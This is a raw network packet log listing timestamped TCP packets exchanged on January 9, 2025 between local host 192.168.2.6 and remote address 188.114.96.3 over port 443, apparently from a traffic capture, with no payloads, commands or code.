Jan 9, 2025 09:31:19.421204090 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.421262980 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.421379089 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.421432018 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.421950102 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.422009945 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.429260015 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.429326057 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.446396112 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.446465969 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.447237968 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.447333097 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.447583914 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.447602987 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.447638988 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.447647095 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.447655916 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.447658062 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.447702885 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.447707891 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.456648111 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.456707954 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.456758022 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.456767082 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.456823111 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.470530987 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.470649958 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.470680952 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.480397940 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.480453014 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.480468988 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.480492115 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.480596066 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.480784893 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.480834007 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.481096029 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.481158972 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.481163979 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.496453047 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.496505022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.496527910 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.496553898 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.496598959 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.496932030 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.496999025 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.497004986 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.501802921 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.501841068 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.501866102 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.501872063 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.501979113 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.508253098 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.508276939 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.508320093 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.508325100 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.508369923 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.508975029 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.509021997 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.509036064 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.509041071 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.509099960 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.533272982 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.533294916 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.533349037 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.533361912 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.533386946 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.533406019 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.534423113 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.534475088 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.534534931 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.534580946 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.534580946 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.534598112 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.534634113 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.534929037 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.534997940 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.543592930 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.543649912 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.543665886 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.543673038 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.543698072 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.557441950 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.557512999 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.557517052 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.557528973 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.557565928 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.567380905 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.567456007 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.567786932 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.567820072 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.567858934 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.567867041 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.567877054 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.583300114 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.583344936 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.583370924 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.583380938 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.583409071 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.583431959 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.583437920 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.583462000 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.583785057 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.583851099 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.583856106 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.595892906 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.595932007 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.595977068 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.595980883 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.596009016 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.596019983 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.596918106 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.597021103 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.597028017 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.597120047 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.597193003 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.597250938 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.597255945 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.620352983 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.620393991 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.620470047 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.620490074 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.620511055 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.620990992 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.621021986 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.621047020 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.621052980 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.621092081 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.622065067 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.622086048 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.622124910 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.622129917 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.622169018 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.622173071 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.630578041 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.630609989 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.630644083 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.630656958 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.630683899 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.644254923 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.644289017 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.644335985 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.644356012 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.644397020 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.654246092 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.654316902 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.654335976 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.654434919 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.654483080 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.654493093 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.654499054 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.654525995 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.654544115 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.654582024 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.654587030 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.655303955 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.655364037 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.655369043 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.655406952 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.670548916 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.670638084 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.670645952 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.682724953 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.682761908 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.682801008 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.682806969 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.682821989 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.682857037 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.683370113 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.683442116 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.683449984 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.683543921 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.683803082 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.683852911 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.683876991 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.683881044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.683923960 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.707417965 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.707496881 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.707503080 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.707515001 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.707535028 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.707568884 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.707573891 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.707612038 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.707950115 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.708017111 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.708020926 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.708410978 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.708440065 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.708466053 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.708471060 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.708513975 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.717609882 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.717636108 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.717704058 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.717714071 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.717784882 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.748013020 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.748040915 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.748096943 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.748109102 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.748162985 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.748353958 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.748392105 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.748416901 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.748426914 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.748437881 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.748514891 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.756937027 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.756999016 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.757040024 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.757090092 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.757637978 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.757734060 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.757740021 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.757803917 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.769779921 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.769849062 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.769855976 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.770764112 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.770786047 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.770845890 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.770857096 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.770878077 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.794004917 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.794043064 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.794090986 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.794101954 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.794202089 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.794523001 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.794570923 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.794588089 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.794593096 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.794621944 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.795269012 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.795309067 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.795344114 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.795351982 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.795368910 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.795629025 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.795690060 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.795694113 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.795937061 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.795989037 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.795994043 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.804495096 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.804527044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.804557085 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.804582119 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.804590940 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.804627895 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.804660082 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.828373909 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.828470945 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.828490973 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.828536987 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.828558922 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.828563929 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.828860044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.828876019 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.828881025 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.828919888 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.829315901 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.829359055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.829395056 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.829400063 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.829479933 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.844074011 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.844115973 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.844145060 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.844157934 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.844206095 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.856667995 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.856698990 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.856743097 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.856745005 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.856760025 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.856796026 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.856956005 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.857013941 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.857325077 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.857386112 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.857600927 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.857640028 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.857671022 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.857676983 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.857763052 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.881053925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.881084919 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.881107092 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.881120920 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.881129980 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.881151915 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.881156921 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.881186008 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.881190062 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.881225109 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.881994009 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.882054090 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.882153034 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.882214069 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.882443905 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.882508039 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.882518053 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.882601023 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.891201973 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.891231060 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.891264915 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.891272068 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.891303062 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.915174961 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.915379047 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.915421963 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.915431976 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.915463924 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.915477991 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.915726900 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.915760994 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.915777922 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.915815115 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.915823936 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.915908098 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.916157007 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.916209936 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.916224957 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.916280985 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.930824995 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.930964947 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.930974960 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.931082010 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.931129932 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.931135893 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.931175947 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.944942951 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.945003033 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.945027113 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.945041895 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.945053101 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.945079088 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.945101023 CET	443	49723	188.114.96.3	192.168.2.6
